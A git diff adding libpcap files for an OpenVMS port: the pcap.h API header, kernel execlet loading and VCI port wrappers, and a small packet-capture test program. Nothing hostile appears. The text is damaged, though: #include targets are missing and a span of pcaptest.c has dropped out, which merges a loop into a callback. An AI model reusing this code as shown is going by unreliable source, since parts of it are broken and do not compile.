return (0); + } +#ifndef WIN32 + fdflags = fcntl(p->fd, F_GETFL, 0); + if (fdflags == -1) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "F_GETFL: %s", + pcap_strerror(errno)); + return (-1); + } + if (nonblock) + fdflags |= O_NONBLOCK; + else + fdflags &= ~O_NONBLOCK; + if (fcntl(p->fd, F_SETFL, fdflags) == -1) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "F_SETFL: %s", + pcap_strerror(errno)); + return (-1); + } +#else + if (nonblock) { + /* + * Set the read timeout to -1 for non-blocking mode. + */ + newtimeout = -1; + } else { + /* + * Restore the timeout set when the device was opened. + * (Note that this may be -1, in which case we're not + * really leaving non-blocking mode.) + */ + newtimeout = p->timeout; + } + if (!PacketSetReadTimeout(p->adapter, newtimeout)) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, + "PacketSetReadTimeout: %s", pcap_win32strerror()); + return (-1); + } + p->nonblock = (newtimeout == -1); +#endif + return (0); +} + +#ifdef WIN32 +/* + * Generate a string for the last Win32-specific error (i.e. an error generated when + * calling a Win32 API). + * For errors occurred during standard C calls, we still use pcap_strerror() + */ +char * +pcap_win32strerror(void) +{ + DWORD error; + static char errbuf[PCAP_ERRBUF_SIZE+1]; + int errlen; + + error = GetLastError(); + FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, 0, errbuf, + PCAP_ERRBUF_SIZE, NULL); + + /* + * "FormatMessage()" "helpfully" sticks CR/LF at the end of the + * message. Get rid of it. + */ + errlen = strlen(errbuf); + if (errlen >= 2) { + errbuf[errlen - 1] = '\0'; + errbuf[errlen - 2] = '\0'; + } + return (errbuf); +} +#endif + +/* + * Not all systems have strerror(). + */ +char * +pcap_strerror(int errnum) +{ +#ifdef HAVE_STRERROR + return (strerror(errnum)); +#else + extern int sys_nerr; + extern const char *const sys_errlist[]; + static char ebuf[20]; + + if ((unsigned int)errnum < sys_nerr) + return ((char *)sys_errlist[errnum]); + (void)snprintf(ebuf, sizeof ebuf, "Unknown error: %d", errnum); + return(ebuf); +#endif +} + +pcap_t * +pcap_open_dead(int linktype, int snaplen) +{ + pcap_t *p; + + p = malloc(sizeof(*p)); + if (p == NULL) + return NULL; + memset (p, 0, sizeof(*p)); +#ifndef WIN32 + p->fd = -1; +#else + p->adapter = NULL; +#endif /* WIN32 */ + p->snapshot = snaplen; + p->linktype = linktype; + return p; +} + +void +pcap_close(pcap_t *p) +{ + /*XXX*/ +#ifdef VMS + pcap_close_vms(p); +#endif + +#ifndef WIN32 + if (p->fd >= 0) { +#ifdef linux + pcap_close_linux(p); +#endif +#ifndef VMS + close(p->fd); +#endif + } +#else /* WIN32 */ + if (p->adapter != NULL) { + PacketCloseAdapter(p->adapter); + p->adapter = NULL; + } +#endif /* WIN32 */ + if (p->sf.rfile != NULL) { + if (p->sf.rfile != stdin) + (void)fclose(p->sf.rfile); + if (p->sf.base != NULL) + free(p->sf.base); + } else if (p->buffer != NULL) + free(p->buffer); + + pcap_freecode(&p->fcode); + free(p); +} diff --git a/Pcap-VMS/pcap-vci/pcap.h b/Pcap-VMS/pcap-vci/pcap.h new file mode 100644 index 00000000..89b42525 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap.h @@ -0,0 +1,245 @@ +/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ +/* + * Copyright (c) 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#) $Header: /tcpdump/master/libpcap/pcap.h,v 1.37 2002/08/02 03:44:21 guy Exp $ (LBL) + */ + +#ifndef lib_pcap_h +#define lib_pcap_h + +#ifdef WIN32 +#include +#else /* WIN32 */ +#include +#include +#endif /* WIN32 */ + +#ifdef VMS +#include "bpf.h" +#else +#include +#endif + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define PCAP_VERSION_MAJOR 2 +#define PCAP_VERSION_MINOR 4 + +#define PCAP_ERRBUF_SIZE 256 + +/* + * Compatibility for systems that have a bpf.h that + * predates the bpf typedefs for 64-bit support. + */ +#if BPF_RELEASE - 0 < 199406 +typedef int bpf_int32; +typedef u_int bpf_u_int32; +#endif + +typedef struct pcap pcap_t; +typedef struct pcap_dumper pcap_dumper_t; +typedef struct pcap_if pcap_if_t; +typedef struct pcap_addr pcap_addr_t; + +/* + * The first record in the file contains saved values for some + * of the flags used in the printout phases of tcpdump. + * Many fields here are 32 bit ints so compilers won't insert unwanted + * padding; these files need to be interchangeable across architectures. + * + * Do not change the layout of this structure, in any way (this includes + * changes that only affect the length of fields in this structure). + * + * Also, do not change the interpretation of any of the members of this + * structure, in any way (this includes using values other than + * LINKTYPE_ values, as defined in "savefile.c", in the "linktype" + * field). + * + * Instead: + * + * introduce a new structure for the new format, if the layout + * of the structure changed; + * + * send mail to "tcpdump-workers@tcpdump.org", requesting a new + * magic number for your new capture file format, and, when + * you get the new magic number, put it in "savefile.c"; + * + * use that magic number for save files with the changed file + * header; + * + * make the code in "savefile.c" capable of reading files with + * the old file header as well as files with the new file header + * (using the magic number to determine the header format). + * + * Then supply the changes to "patches@tcpdump.org", so that future + * versions of libpcap and programs that use it (such as tcpdump) will + * be able to read your new capture file format. + */ +struct pcap_file_header { + bpf_u_int32 magic; + u_short version_major; + u_short version_minor; + bpf_int32 thiszone; /* gmt to local correction */ + bpf_u_int32 sigfigs; /* accuracy of timestamps */ + bpf_u_int32 snaplen; /* max length saved portion of each pkt */ + bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ +}; + +/* + * Each packet in the dump file is prepended with this generic header. + * This gets around the problem of different headers for different + * packet interfaces. + */ +struct pcap_pkthdr { + struct timeval ts; /* time stamp */ + bpf_u_int32 caplen; /* length of portion present */ + bpf_u_int32 len; /* length this packet (off wire) */ +}; + +/* + * As returned by the pcap_stats() + */ +struct pcap_stat { + u_int ps_recv; /* number of packets received */ + u_int ps_drop; /* number of packets dropped */ + u_int ps_ifdrop; /* drops by interface XXX not yet supported */ +#ifdef WIN32 + u_int bs_capt; /* number of packets that reach the application */ +#endif /* WIN32 */ +}; + +/* + * Item in a list of interfaces. + */ +struct pcap_if { + struct pcap_if *next; + char *name; /* name to hand to "pcap_open_live()" */ + char *description; /* textual description of interface, or NULL */ + struct pcap_addr *addresses; + bpf_u_int32 flags; /* PCAP_IF_ interface flags */ +}; + +#define PCAP_IF_LOOPBACK 0x00000001 /* interface is loopback */ + +/* + * Representation of an interface address. + */ +struct pcap_addr { + struct pcap_addr *next; + struct sockaddr *addr; /* address */ + struct sockaddr *netmask; /* netmask for that address */ + struct sockaddr *broadaddr; /* broadcast address for that address */ + struct sockaddr *dstaddr; /* P2P destination address for that address */ +}; + +typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *, + const u_char *); + +char *pcap_lookupdev(char *); +int pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *); +pcap_t *pcap_open_live(char *, int, int, int, char *); +pcap_t *pcap_open_dead(int, int); +pcap_t *pcap_open_offline(const char *, char *); +void pcap_close(pcap_t *); +int pcap_loop(pcap_t *, int, pcap_handler, u_char *); +int pcap_dispatch(pcap_t *, int, pcap_handler, u_char *); +const u_char* + pcap_next(pcap_t *, struct pcap_pkthdr *); +int pcap_stats(pcap_t *, struct pcap_stat *); +int pcap_setfilter(pcap_t *, struct bpf_program *); +int pcap_getnonblock(pcap_t *, char *); +int pcap_setnonblock(pcap_t *, int, char *); +void pcap_perror(pcap_t *, char *); +char *pcap_strerror(int); +char *pcap_geterr(pcap_t *); +int pcap_compile(pcap_t *, struct bpf_program *, char *, int, + bpf_u_int32); +int pcap_compile_nopcap(int, int, struct bpf_program *, + char *, int, bpf_u_int32); +void pcap_freecode(struct bpf_program *); +int pcap_datalink(pcap_t *); +int pcap_snapshot(pcap_t *); +int pcap_is_swapped(pcap_t *); +int pcap_major_version(pcap_t *); +int pcap_minor_version(pcap_t *); + +/* XXX */ +FILE *pcap_file(pcap_t *); +int pcap_fileno(pcap_t *); + +pcap_dumper_t *pcap_dump_open(pcap_t *, const char *); +void pcap_dump_close(pcap_dumper_t *); +void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *); + +int pcap_findalldevs(pcap_if_t **, char *); +void pcap_freealldevs(pcap_if_t *); + +/* XXX this guy lives in the bpf tree */ +u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int); +int bpf_validate(struct bpf_insn *f, int len); +char *bpf_image(struct bpf_insn *, int); +void bpf_dump(struct bpf_program *, int); + +#ifdef VMS +int pcap_sendpacket(pcap_t *p, u_char *buf, int size); +#endif + +#ifdef WIN32 +/* + * Win32 definitions + */ + +int pcap_setbuff(pcap_t *p, int dim); +int pcap_setmode(pcap_t *p, int mode); +int pcap_sendpacket(pcap_t *p, u_char *buf, int size); +int pcap_setmintocopy(pcap_t *p, int size); + +#ifdef WPCAP +/* Include file with the wpcap-specific extensions */ +#include +#endif + +#define MODE_CAPT 0 +#define MODE_STAT 1 + +#endif /* WIN32 */ + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Pcap-VMS/pcap-vci/pcaptest.c b/Pcap-VMS/pcap-vci/pcaptest.c new file mode 100644 index 00000000..dd63e7ba --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcaptest.c @@ -0,0 +1,72 @@ +#include +#include +#include +#include +#include "pcap.h" +#include "pcap-int.h" + +static int fd; + +void dump_packet(int fd, int len, unsigned char *data) +{ + int idx; + char buf[128]; + char packhead[256]; + char nl[] = "\n"; + + sprintf(packhead, "\nPacket length %d", len); + write (fd, packhead,strlen(packhead)); + for (idx=0; idxlen, data); + + printf("Received packet, len: %d\n", hdr->len); + printf("From %02x-%02x-%02x-%02x-%02x-%02x\n", data[0],data[1], + data[2],data[3],data[4],data[5]); + printf("To %02x-%02x-%02x-%02x-%02x-%02x\n",data[6],data[7], + data[8],data[9],data[10],data[11]); + } +} +int main(void) +{ + int status; + pcap_t *pcap_handle; + struct pcap_pkthdr hdr; + char *packet; + char ebuff[PCAP_ERRBUF_SIZE]; + struct bpf_program fp; + bpf_u_int32 maskp; + bpf_u_int32 netp; + int bufsiz = 2048; + char *dev; + + dev = pcap_lookupdev(ebuff); + + pcap_handle = pcap_open_live(dev, 2048, 1, 5000, ebuff); + fd = open ("packet.dmp", O_RDWR|O_CREAT); + + status = pcap_lookupnet(dev, &netp, &maskp, ebuff); + status = pcap_compile(pcap_handle, &fp, "port 23",0, + netp); +// status = pcap_setfilter(pcap_handle, &fp); + status = pcap_loop(pcap_handle, 2000, &read_callback, 0); + close(fd); + return 1; +} diff --git a/Pcap-VMS/pcap-vci/pcapvci.c b/Pcap-VMS/pcap-vci/pcapvci.c new file mode 100644 index 00000000..0753e44e --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcapvci.c @@ -0,0 +1,479 @@ +#pragma module PCAPVCI "X-1" +/* +**++ +** FACILITY: PCAP +** +** MODULE DESCRIPTION: +** +** Interface routines to the PCAP VCM execlet. +** +** AUTHORS: +** +** Ankan +** +** CREATION DATE: 30-Mar-2003 +** +** DESIGN ISSUES: +** +** Important Note: +** +** This code module uses privileged OpenVMS interfaces. +** OpenVMS does not guarantee that these interfaces will +** be supported indefinitely, and may change these interfaces +** without prior notice. +** +** +** MODIFICATION HISTORY: +** +** X-1 Ankan 25-Oct-2003 +** Lock/unlock data prior to passing it to execlet. +** Return proper status from enable/disable port. +**-- +*/ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "pcapvci.h" + +typedef struct lkpdef LKP; + + +// +// Loader routines, used to dynamically load or locate the execlet. +// +extern int LDR$LOAD_IMAGE (struct dsc$descriptor_s *execlet_name, int flags, + LDRHANDLE *reference_handle); +extern int LDR$REF_INFO (struct dsc$descriptor_s *execlet_name, + LDRHANDLE *reference_handle); +extern int LDR$UNLOAD_IMAGE (struct dsc$descriptor_s *execlet_name, + LDRHANDLE *reference_handle); + +int load_execlet(); +int unload_execlet(); + +// +// Global data +// +static PCAPVCM *pcapvcm = 0; +LDRHANDLE reference_handle; +void *rtnptr = 0; +$DESCRIPTOR(execlet_name, "PCAPVCM"); +int is_loaded = 0; + +// +// Return packet portion of VCRP +// +int get_packet(VCRPLANDEF *vcrp, char **hdrp) +{ + VCRPDEF *vcrpbase; + uint64 boff; + int len; + + vcrpbase = (VCRPDEF *) vcrp; + boff = vcrpbase->vcrp$l_boff; + len = vcrpbase->vcrp$l_bcnt; + *hdrp = (char *) (((char *) vcrp) + boff); + + return len; +} + +// +// Load or locate the execelet +// +int pcapvci_load_execlet() +{ + int status; + int arglist[2]; + + arglist[0] = 0; + status = sys$cmkrnl(load_execlet,arglist); + + return status; +} + + +// +// Allocate a VCI port +// +int pcapvci_alloc_port(VCMCTX **ctx) +{ + int status; + int status2; + uint64 arglist[2]; + int64 retlen; + void *retaddr; + + status = sys$lckpag_64(ctx, 1, 3, &retaddr, &retlen); + + arglist[0] = 1; + arglist[1] = (uint64) ctx; + status = sys$cmkrnl_64(pcapvcm->alloc_port, arglist); + + status2 = sys$ulkpag_64(retaddr, retlen, 3, &retaddr, &retlen); + + return status; +} + +// +// Free a port +// +int pcapvci_free_port(VCMCTX *ctx) +{ + int status; + uint64 arglist[2]; + + arglist[0] = 1; + arglist[1] = (uint64) ctx; + status = sys$cmkrnl_64(pcapvcm->free_port, arglist); + + return status; +} + + +// +// Get VCI devices +// +int pcapvci_get_device(VCMCTX *ctx, char *device) +{ + int status; + int status2; + uint64 arglist[3]; + int64 retlen; + void *retaddr; + + status = sys$lckpag_64(device, 1, 0, &retaddr, &retlen); + + arglist[0] = 2; + arglist[1] = (uint64) ctx; + arglist[2] = (uint64) device; + status = sys$cmkrnl_64(pcapvcm->get_device, arglist); + + status2 = sys$ulkpag_64(retaddr, retlen, 0, &retaddr, &retlen); + + return status; +} + + +// +// Create a VCI port +// +int pcapvci_create_port(VCMCTX *ctx, char *device) +{ + int status; + int status2; + uint64 arglist[3]; + int64 retlen; + void *retaddr; + + status = sys$lckpag_64(device, 1, 0, &retaddr, &retlen); + arglist[0] = 2; + arglist[1] = (uint64) ctx; + arglist[2] = (uint64) device; + status = sys$cmkrnl_64(pcapvcm->create_port, arglist); + + status2 = sys$ulkpag_64(retaddr, retlen, 0, &retaddr, &retlen); + return status; +} + +// +// Delete a port +// +int pcapvci_delete_port(VCMCTX *ctx) +{ + int status; + uint64 arglist[2]; + + arglist[0] = 1; + arglist[1] = (uint64) ctx; + status = sys$cmkrnl_64(pcapvcm->delete_port, arglist); + + return status; +} + + +// +// Get port management error +// +int pcapvci_get_mgm_error(VCMCTX *ctx, uint64 *error) +{ + int status; + int status2; + uint64 arglist[3]; + int64 retlen; + void *retaddr; + + status = sys$lckpag_64(error, 1, 0, &retaddr, &retlen); + + arglist[0] = 2; + arglist[1] = (uint64) ctx; + arglist[2] = (uint64) error; + status = sys$cmkrnl_64(pcapvcm->get_mgm_error, arglist); + + status2 = sys$ulkpag_64(retaddr, retlen, 0, &retaddr, &retlen); + + return status; +} + + +// +// Enable a port, this requires a P2 buffer as described in +// the I/O User's Reference Manual. +// +int pcapvci_enable_port(VCMCTX *ctx, int p2len, char *p2buf) +{ + int status; + int status2; + uint64 arglist[4]; + int64 retlen; + void *retaddr; + uint64 vcierr; + + // Lock P2 buffer + status = sys$lkwset_64(p2buf, p2len, 0, &retaddr, &retlen); + if (!$VMS_STATUS_SUCCESS(status)) { + return 0; + } + + arglist[0] = 3; + arglist[1] = (uint64) ctx; + arglist[2] = p2len; + arglist[3] = (uint64) p2buf; + status = sys$cmkrnl_64(pcapvcm->enable_port, arglist); + status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen); + status = pcapvci_get_mgm_error(ctx, &vcierr); + return status; +} + +// +// Disable a port +// +int pcapvci_disable_port(VCMCTX *ctx) +{ + int status; + uint64 arglist[2]; + uint64 vcierr; + + arglist[0] = 1; + arglist[1] = (uint64) ctx; + status = sys$cmkrnl_64(pcapvcm->disable_port, arglist); + + status = pcapvci_get_mgm_error(ctx, &vcierr); + + return status; +} + + +// +// Read a packet, notice we only return the packet, not the entire VCRP +// +int pcapvci_read_packet(VCMCTX *ctx, int packlen, char *packet) +{ + int status; + int status2; + uint64 arglist[4]; + char vcrp[4096]; + int len; + char *ptr; + int64 retlen; + void *retaddr; + + // Lock return buffer + status = sys$lkwset_64(vcrp, sizeof(vcrp), 0, &retaddr, &retlen); + if (!$VMS_STATUS_SUCCESS(status)) { + return 0; + } + + arglist[0] = 3; + arglist[1] = (uint64) ctx; + arglist[2] = 4096; + arglist[3] = (uint64) vcrp; + status = sys$cmkrnl_64(pcapvcm->read_packet, arglist); + + // Unlock return buffer + status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen); + + if (!$VMS_STATUS_SUCCESS(status)) { + return 0; + } + + // + // Locate packet in VCRP + // + len = get_packet((VCRPLANDEF *)vcrp, &ptr); + + // + // Copy packet in users buffer, check if we need to truncate. + // + if (len > packlen) { + memcpy(packet, ptr, packlen); + } else { + memcpy(packet, ptr, len); + } + + return len; +} + + +// +// Send a packet. Lock packet prior to sending +// +int pcapvci_send_packet(VCMCTX *ctx, int hdrlen, int totlen, char *packet) +{ + int status; + int status2; + uint64 arglist[5]; + int64 retlen; + void *retaddr; + + // Lock packet + status = sys$lkwset_64(packet, totlen, 0, &retaddr, &retlen); + if (!$VMS_STATUS_SUCCESS(status)) { + return status; + } + + arglist[0] = 4; + arglist[1] = (uint64) ctx; + arglist[2] = hdrlen; + arglist[3] = totlen; + arglist[4] = (uint64) packet; + status = sys$cmkrnl_64(pcapvcm->send_packet, arglist); + + // Unlock packet + status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen); + + return status; +} + + +// +// Get last transmit error +// +int pcapvci_get_trasmit_error(VCMCTX *ctx) +{ + int status; + uint64 arglist[2]; + + arglist[0] = 2; + arglist[1] = (uint64) ctx; + status = sys$cmkrnl_64(pcapvcm->get_last_error, arglist); + + return status; +} + + +// +// Get statistics from execlet +// +int pcapvci_get_statistics(VCMCTX *vcmctx, PCAPSTAT *statptr) +{ + int status; + int status2; + uint64 arglist[3]; + int64 retlen; + void *retaddr; + + status = sys$lkwset_64(statptr, sizeof(PCAPSTAT), 0, &retaddr, &retlen); + if (!$VMS_STATUS_SUCCESS(status)) { + return status; + } + + arglist[0] = 2; + arglist[1] = (uint64) vcmctx; + arglist[2] = (uint64) statptr; + status = sys$cmkrnl_64(pcapvcm->get_statistics, arglist); + + status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen); + + return status; +} + + +// +// Set the size of the receive queue +// +int pcapvci_set_recv_queue_size(int entries) +{ + int status; + + if (entries >= PCAPVCM$K_RECV_MIN_QUEUE_SIZE && + entries <= PCAPVCM$K_RECV_MAX_QUEUE_SIZE) { + pcapvcm->recv_queue_size = entries; + return SS$_NORMAL; + } else { + return SS$_BADPARAM; + } +} + + +// +// Get receive queue size +// +int pcapvci_get_recv_queue_size(void) +{ + return pcapvcm->recv_queue_size; +} + + + +// +// Load the execlet and get the execlet context block +// +int load_execlet () +{ + int status; + LKP *symvec; /* Pointer to symbol vector */ + int (*getContext)(PCAPVCM **); + + /* Try referencing execlet first, in case it is already loaded */ + status = LDR$REF_INFO (&execlet_name, &reference_handle); + + /* If error, must not be loaded yet */ + if (status != SS$_NORMAL) + { + /* Load execlet */ + status = LDR$LOAD_IMAGE (&execlet_name, LDR$M_UNL, &reference_handle); + } + + if ($VMS_STATUS_SUCCESS(status)) { + // Indicate that we've loaded the execlet + is_loaded = 1; + + // Get the shared context. We built the execlet so that the address + // of the routine that does this is at home base... + rtnptr = *(void **)reference_handle.ldrimg_ptr->ldrimg$l_nonpag_w_base; + if (rtnptr) { + getContext = (int (*)())rtnptr; + status = (*getContext)(&pcapvcm); + } + } + return(status); + +} + + +// +// Unload the execlet +// +int unload_execlet () +{ + int status; + + if (is_loaded) { + status = LDR$REF_INFO (&execlet_name, &reference_handle); + if ($VMS_STATUS_SUCCESS(status)) { + status = LDR$UNLOAD_IMAGE(&execlet_name, &reference_handle); + } + is_loaded = 0; + } else { + status = SS$_ACCVIO; + } + return status; +} + diff --git a/Pcap-VMS/pcap-vci/pcapvci.h b/Pcap-VMS/pcap-vci/pcapvci.h new file mode 100644 index 00000000..0d24ff17 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcapvci.h @@ -0,0 +1,37 @@ +#ifndef _PCAPVCI__H_ +#define _PCAPVCI__H_ +#include "pcapvcm.h" + +typedef struct _ldr_handle +{ + void *base_addr; + LDRIMG *ldrimg_ptr; + int seq_num; +} LDRHANDLE; + + +typedef struct _vcmhandle { + PCAPVCM *pcapvcm; + LDRHANDLE refhand; +} VCMHANDLE; + + +// VCI interface routines +int pcapvci_load_execlet(); +//int pcapvci_unload_execlet(); +int pcapvci_alloc_port(VCMCTX **ctx); +int pcapvci_free_port(VCMCTX *ctx); +int pcapvci_get_device(VCMCTX *ctx, char *device); +int pcapvci_create_port(VCMCTX *ctx, char *device); +int pcapvci_delete_port(VCMCTX *ctx); +int pcapvci_enable_port(VCMCTX *ctx, int p2len, char *p2buf); +int pcapvci_disable_port(VCMCTX *ctx); +int pcapvci_get_mgm_error(VCMCTX *ctx, uint64 *error); +int pcapvci_read_packet(VCMCTX *ctx, int packlen, char *packet); +int pcapvci_send_packet(VCMCTX *ctx, int hdrlen, int totlen, char *packet); +int pcapvci_get_trasmit_error(VCMCTX *ctx); +int pcapvci_get_statistics(VCMCTX *vcmctx, PCAPSTAT *statptr); +int pcapvci_set_recv_queue_size(int entries); +int pcapvci_get_recv_queue_size(void); + +#endif /* _PCAPVCI__H_ */ diff --git a/Pcap-VMS/pcap-vci/pcapvcm.h b/Pcap-VMS/pcap-vci/pcapvcm.h new file mode 100644 index 00000000..7b1c18bd --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcapvcm.h @@ -0,0 +1,218 @@ +//*************************************************************************** +//* * +//* © Copyright 2003 Hewlett-Packard Development Company, L.P. * +//* * +//* Confidential computer software. Valid license from HP and/or * +//* its subsidiaries required for possession, use, or copying. * +//* * +//* Consistent with FAR 12.211 and 12.212, Commercial Computer Software, * +//* Computer Software Documentation, and Technical Data for Commercial * +//* Items are licensed to the U.S. Government under vendor's standard * +//* commercial license. * +//* * +//* Neither HP nor any of its subsidiaries shall be liable for technical * +//* or editorial errors or omissions contained herein. The information * +//* in this document is provided "as is" without warranty of any kind and * +//* is subject to change without notice. The warranties for HP products * +//* are set forth in the express limited warranty statements accompanying * +//* such products. Nothing herein should be construed as constituting an * +//* additional warranty. * +//* * +//*************************************************************************** +// +// +// FACILITY: +// +// Dynamic Loadable Execlet for PCAP +// +// +// ABSTRACT: +// +// This module implements a VCM for the LAN driver +// +// +// AUTHOR: +// +// Ankan +// +// CREATION DATE: 21-Mar-2003 +// +// DESIGN ISSUES: +// +// {@tbs@} +// +// REVISION HISTORY: +// +// X-1 Ankan Anders Ahgren 21-Mar-2003 +// Initial version. +// +#ifndef __PCAPVCM_H_ +#define __PCAPVCM_H_ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct vcrpdef VCRPDEF; +typedef struct vcibdef VCIBDEF; + +#define PCAPVCM$K_REVISION 1 +#define PCAPVCM$K_RECV_QUEUE_SIZE 32 +#define PCAPVCM$K_RECV_MIN_QUEUE_SIZE 1 +#define PCAPVCM$K_RECV_MAX_QUEUE_SIZE 255 +#define PCAPVCM$K_RECV_QUEUE_RETRY 16 + +// LIL stuff +#define PCAP_LIL_SIZE 512 +typedef struct _lil_item { + short len; + short tag; + char val; +} LILITEM; + +#define INIT_LIL(lil, len) \ + { \ + (lil)->lil$l_listlen = 0; \ + (lil)->lil$a_listadr = (char *) (lil) + LIL$T_DATA; \ + (lil)->lil$w_size = len + sizeof(LILDEF); \ + (lil)->lil$b_type = DYN$C_DECNET; \ + (lil)->lil$b_subtype = DYN$C_NET_ITEM; \ + } + +#define ADD_LIL_ITEM(lil, tag, len, val) \ + add_lil_item(lil, len, tag, val); + +#define ADD_LIL_ADDR_VAL(lil, len, tag, val) \ + add_lil_addr_value(lil, tag, len, val); + +// LIL prototypes for the above +void add_lil_item(LILDEF *lil, int len, int tag, char *value); +void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value); + +// LAN P2 buffer stuff +#define ADD_INT_VAL(buf, code, val) \ + buf = add_int_value(buf, code, val); + +#define ADD_CNT_VAL(buf, code, len, val) \ + buf = add_counted_value(buf, code, len, val); + +// LAN P2 helper prototypes +char *add_int_value(char *buf, short code, int value); +char *add_counted_value(char *buf, short code, short len, char *value); +int find_value(int buflen, char *buf, short code, char *retbuf); + +// VCIB helpers +int init_vcib(VCIBDLLDEF *vcib, LILDEF *lil); + +// VCRP helpers +int init_mgmt_vcrp(VCRPLANDEF *vcrplan, int func, int p2len, char **p2buf); +int init_transmit_vcrp(VCRPLANDEF *vcrplan); + +// Pointer tricks, since we give and take from user mode... +#pragma __required_pointer_size __save +#pragma __required_pointer_size __long +typedef char * CHAR_64P; +typedef void * VOID_64P; +typedef LILDEF * LILDEF_64P; +typedef VCRPDEF * VCRPDEF_64P; +#pragma __required_pointer_size __short +typedef LILDEF * LILDEF_32P; +typedef char * CHAR_32P; +#pragma __required_pointer_size __restore + +// Statistics... +typedef struct _pcapstat { + long recv_packets; + long recv_packets_dropped; + long recv_queue_size; + long tr_packets; + long tr_failed; +} PCAPSTAT; + +// Shared structure +typedef struct _pcapvcm { + unsigned short int mbo; + unsigned char type; + unsigned char subtype; + int size; + int revision; + int recv_queue_size; + int curr_recv_queue_size; + int retry_count; + int last_mgm_event; // Last management event + int (*get_context)(); + int (*unload_execlet)(); + int (*get_device)(); + int (*alloc_port)(); + int (*free_port)(); + int (*create_port)(); + int (*delete_port)(); + int (*enable_port)(); + int (*disable_port)(); + int (*get_mgm_error)(); + int (*get_last_error)(); + int (*read_packet)(); + int (*send_packet)(); + int (*build_header)(); + int (*get_statistics)(); +} PCAPVCM; + +// Our private VCIB definition, we need a context block in there +typedef struct __pcapvcib { + VCIBDLLDEF vcib; + struct _vcmctx *vcmctx; +} PCAPVCIB; + +#pragma member_alignment __save +#pragma nomember_alignment __quadword +// Per client context +typedef struct _vcmctx { + PCAPVCIB vcib; + VCRPLANDEF vcrp; + VCRPDEF *transmit_vcrp; + int transmit_vcrp_size; + int recv_queue_size; + uint32 flags; + uint32 transmit_pending; + uint64 size; + uint64 last_error; + struct _ldcdef ldc; + uint32 ldcid; + char devbuf[128]; + LILDEF_64P lil; + char lilbuf[sizeof(LILDEF)+PCAP_LIL_SIZE]; + char *hdrptr; + char hdr[128]; + int p2len; + char *p2ptr; + char p2_buf[128]; // P2 buffer + char vcrpbuf[4096]; // VCRP buffer (for transmit) + PCAPSTAT stat; // Statistics +} VCMCTX; +#pragma member_alignment __restore + +//...and more pointer tricks +#pragma __required_pointer_size __save +#pragma __required_pointer_size __long +typedef PCAPVCM * PCAPVCM_64P; +typedef PCAPVCM ** PCAPVCM_64PP; +typedef VCMCTX * VCMCTX_64P; +typedef VCMCTX ** VCMCTX_64PP; +#pragma __required_pointer_size __restore + + +// VCI jacket routines. These are written in MACRO, due to JSBs +extern int vci_get_device(uint32 *, LDCDEF **); +extern int vci_create_port(VCIBDLLDEF *vcib); +extern int vci_delete_port(VCIBDLLDEF *vcib); +extern int vci_delete_vcrp(VCRPDEF *vcrp); +extern int vci_mgmt_port(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib); +extern int vci_transmit_frame(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib); +extern int vci_build_header(char *header, char **reshdr, int *x802, + int *r802, VCRPLANDEF *vcrp); +#endif /* __PCAPVCM_H_ */ diff --git a/Pcap-VMS/pcap-vci/ppp.h b/Pcap-VMS/pcap-vci/ppp.h new file mode 100644 index 00000000..f3607609 --- /dev/null +++ b/Pcap-VMS/pcap-vci/ppp.h @@ -0,0 +1,52 @@ +/* @(#) $Header: /tcpdump/master/libpcap/ppp.h,v 1.8 1999/10/19 15:18:31 itojun Exp $ (LBL) */ +/* + * Point to Point 